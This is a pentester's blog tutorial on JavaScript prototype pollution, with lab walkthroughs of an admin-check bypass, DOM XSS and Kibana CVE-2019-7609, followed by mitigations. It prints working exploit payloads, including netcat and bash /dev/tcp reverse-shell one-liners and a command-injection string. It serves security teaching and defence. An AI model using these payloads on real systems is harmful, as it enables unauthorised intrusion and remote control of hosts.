Demo
Learn how Cobalt’s Pentest as a Service (PtaaS) model makes you faster, better, and more efficient.
Demo
Learn how Cobalt’s Pentest as a Service (PtaaS) model makes you faster, better, and more efficient.

A Pentester’s Guide to Prototype Pollution Attacks

Core Pentester Harsh Bothra guides us through prototype pollution attacks in his latest blog. This covers a security vulnerability that allows attackers to exploit JavaScript runtimes.

Prototype pollution is a security vulnerability that allows attackers to exploit JavaScript runtimes. In this attack, the attacker injects properties into existing JavaScript construct prototypes to manipulate the application.

Before diving into the different attack scenarios, let’s understand how the prototype pollution came into the picture.

To maintain compatibility between web pages across web browsers, the ECMA (European Computer Manufacturers Association) released a new specification, ECMAScript 2015, 6th Edition. The specification standardizes the __proto__ feature, a unique attribute related to an object's prototypes. This attribute is present in all JavaScript objects, and __proto__ is specified as an object. A technique that lets JavaScript objects inherit features from one to the next is called a "prototype."

When an attacker manipulates  __proto__, generally by adding a new Prototype, this is called "Prototype Pollution." Because __proto__ exists for every Object and every Object inherits Prototypes from its Prototype, this addition is inherited by all JavaScript Objects via the prototype chain. Attackers can use the ability to add properties to JavaScript code that is already in use to carry out Remote Code Execution attacks or Denial of Service attacks by invoking JavaScript exceptions or by inserting malicious script.

Understanding Prototype Pollution with an Example

Let’s understand the above statement with the help of an example: 

  1. Consider an object - JavaScript snippet in the console:

> A = {x: 678, __proto__: {toString: () => console.log('Fired!')}}

{ x: 678 }

> A + ''

Fired!

'undefined'

In the above code, there is an object that has its Prototype and changes the way the toString property works.

Since we are already injecting __proto__ itself, there is no direct code execution in this instance; instead, the object merely gains a new property. However, a denial of service (DOS) attack might still be produced by replacing some methods with non-function values, such as "toString: 456."

  1.  In this scenario, the program enables the modification of an existing prototype.

const firstObject = {};

const secondObject = {};

// ...

firstObject[INSECURE_NAME] = INSECURE_VALUE;

// ...

if (secondObject.isAdmin) {

    // do some sensitive stuff

}

Controlling INSECURE_NAME and INSECURE_VALUE allows  us to change not only firstObject but also the prototype of all other objects, which has the effect of changing secondObject.isAdminEnabled to true:

INSECURE_NAME = '__proto__';

INSECURE_VALUE = {isAdmin: 'true'};

Now that we have more understanding about the Prototype Pollution attacks, let’s see the attack in action: 

 

Privilege Escalation via Prototype pollution:

We are using Prototype Pollution Lab for this example. Please refer to README for installation steps.

To perform the attack, follow the below steps: 

  1. Once the lab is installed, navigate to the vulnerable application and log in with provided credentials.

  1. The application has a URL downloader mechanism but does not allow a guest user to access this feature.

 

  1. Open the routes.js file to analyze the source code.
  2. Observe the value set to the admin account:

    "isAdmin":true

  1. Observe the admin/check_url and note that checkLogin and checkAdmin functions are responsible for granting or denying access to the users that called/accessed the route (the route used to download the URL).

  1. Navigate to the admin/check_url controller and observe that the developer has implemented a security log feature, defined as the securityLog function.

When a guest user tries to call this API, this function gets triggered.

  1. Navigate to the function code and observe it using the node.extend function to concatenate two different JSON into the log variable, which will be logged with the console.log function.

  1. The node.extend function is vulnerable to Prototype Pollution, which can lead to the credentials DB pollution, allowing bypassing of the checkAdmin function.

  2. To trigger the securityLog function, send the following payload as an unauthenticated user to the admin/check_url route.

{

  "__proto__":{

    "isAdmin":true

  }

}

The payload will allow administrative permission by polluting the guest credentials.

Before pollution:

{"username":"guest", "password":"pass123", "cookie": "' + crypto.randomBytes(64).toString("hex") + '"}

After pollution:

{"username":"guest", "password":"pass123", "cookie": "' + crypto.randomBytes(64).toString("hex") + '", "isAdmin":true}

  1. In Burpsuite, send the POST request to the admin/check_url route with the above-mentioned payload and modify the content type as Content-Type: application/json. Also, remove the value of the admin_session cookie.

  1. Navigate to the URL downloader section and observe that we have successfully bypassed the checkAdmin function.

 

Reverse shell via Command Injection:

After gaining administrative access, we can perform a command injection attack. To perform the attack, follow the below steps: 

  1. Navigate to the route.js file and note that after the administrative check, which used the exec function, which makes a  command execution that passes the given URL(from the request body) to the command without arguments scaping.

  1. Start the listener on any port with netcat for a reverse shell.

  2. Insert the following payload in the URL parameter:

;`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f` #

Note: The semicolon; is used to break/separate the wget command.

  1. Send the POST request to admin/check_url with payload to gain a reverse shell.

DOM XSS via Prototype Pollution using the DOM Invader 

This lab is vulnerable to DOM XSS via prototype pollution. To perform the attack, follow the steps below: 

  1. Find a source to add arbitrary properties to the global Object.prototype.

  2. Identify a gadget property that allows to execution of arbitrary JavaScript.

  3. Combine these to call alert().

We will use a tool called DOM Invader to exploit the vulnerability. DOM Invader is a browser-based tool for testing DOM XSS vulnerabilities using multiple sources and sinks, such as web messages and prototype pollution vectors. It is only accessible through Burp's built-in browser, where the extension is preinstalled. DOM Invader adds a new tab to the browser's DevTools panel when enabled.

To perform the attack, follow the below steps:

  1. Open the Burpsuite. Navigate to the Proxy > Intercept and click on Open browser.

  2. Once the browser is open, Click on the top right extension.

  3. Open the DOM Invader and turn on the following options to test for prototype pollution:

  • DOM Invader

  • Prototype pollution 

  1. Reload the browser after updating the settings.

  2. Open the vulnerable lab application and navigate to the inspect elements.

  3. Under the inspect elements, open the DOM Invader tab.

  4. Observe the prototype pollution alert and start the scan for gadgets.

  1. Once you start the scan, it will open a new window and shows the result. 

  1. The result shows that the application is vulnerable. On that same window, navigate to the inspect element and open the DOM Invader tab.

  1. Click on exploit to perform the XSS attack.



Remote Code Execution in Kibana via Prototype Pollution [CVE-2019-7609]

Kibana versions <5.3.13 >=6.4.0 <6.4.3  are vulnerable to arbitrary code execution flaws in the Timelion visualizer. 

An attacker accessing the Timelion application could send a request attempting to execute arbitrary JavaScript code. This could lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

For the practical demonstration, visualize using this lab hosted by the Kibana instance.

  1. Navigate to port 5601 to access the Kibana dashboard.

 

  1. From the left panel, open the Timelion. In Timelion, we can write expressions to visualize data.

  1. Paste the following payload in Timelion.

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')

.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

This sets two environmental variables via prototype pollution and uses bash reverse shell.

  1. Start the Netcat listener on the specified port.

To exploit it, the code needs to be inserted in Timelion, and then Canvas needs to be opened (to spawn a new process).

  1. Run the payload in Timelion.

  1. Navigate to Canvas to get a reverse shell.

  1. We have exploited remote code execution successfully.

Since we have looked at multiple instances of identifying and exploiting Prototype Pollution attacks, let’s understand some of the required mitigation techniques. 

 

Mitigations

  • Almost all circumstances will be mitigated by Object.freeze. Freezing an Object prevents the addition of new Prototypes.

  • Implement security checks to avoid overwriting to __proto__ or other special properties of an object.

  • Use schema validation to ensure the JSON data contains the required properties. If the keyword __proto__ appears in the JSON, it will be removed.

  • The risk of prototype pollution can be reduced by creating objects without prototype properties, such as using Object.create(null). This avoids polluting the prototype chain.

 

References





Back to Blog
About Harsh Bothra
Harsh Bothra is a Security Engineer with expertise in Web application, API, Android Application, Thick Client, and Network Pentesting. He has over 5 years of experience in Cybersecurity and penetration testing. He has written multiple books on ethical hacking including Mastering Hacking and Hacking: Be a Hacker with Ethics, presented at various security conferences, and is an active bug bounty hunter. More By Harsh Bothra
Compromise Assessment: A Comprehensive Guide
The blog explains the importance of compromise assessments as a crucial step in detecting and responding to security threats in an organization. It highlights the key objectives of conducting a compromise assessment and provides a step-by-step guide from data collection to analysis and reporting. The blog emphasizes the need for ongoing assessments to stay ahead of potential attacks and maintain the security of the organization's assets.
Blog
Mar 6, 2023
Introduction to Chrome Browser Extension Security Testing
Browser extensions are software components that enhance the functionality of existing programs, specifically web browsers by modifying the user interface and interaction with websites, allowing users to customize their browsing experience. However, they also pose a security risk as they interact directly with untrusted web content and have vulnerabilities that malicious website operators and network attackers can exploit. This blog highlights the importance of Chrome browser extension security, permissions, testing for vulnerabilities, real-time attack scenarios, and mitigation methods.
Blog
Feb 20, 2023
Back to Basics: How to Build Resilient Blue Teams
A comprehensive guide on how security teams can keep up with organizational change.
Blog
Feb 24, 2023